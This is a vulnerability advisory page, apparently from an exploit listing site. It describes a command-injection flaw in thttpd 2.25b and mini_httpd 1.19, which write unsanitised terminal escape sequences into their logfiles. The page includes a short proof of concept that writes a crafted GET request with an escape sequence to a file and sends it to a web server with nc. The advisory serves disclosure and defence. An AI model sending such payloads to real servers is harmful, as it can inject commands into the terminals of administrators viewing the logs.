header-logo
Suggest Exploit
vendor:
thttpd and mini_httpd
by:
7.5
CVSS
HIGH
Command-Injection
78
CWE
Product Name: thttpd and mini_httpd
Affected Version From: thttpd 2.25b and mini_httpd 1.19
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:

Command-Injection Vulnerability in Acme ‘thttpd’ and ‘mini_httpd’

The Acme 'thttpd' and 'mini_httpd' are prone to a command-injection vulnerability because they fail to adequately sanitize user-supplied input in logfiles. Attackers can exploit this issue to execute arbitrary commands in a terminal.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user-supplied input in logfiles properly.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/37714/info

Acme 'thttpd' and 'mini_httpd' are prone to a command-injection vulnerability because they fail to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

This issue affects thttpd 2.25b and mini_httpd 1.19; other versions may also be affected. 

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload

Navigation

Suggest Exploit

Services By CQR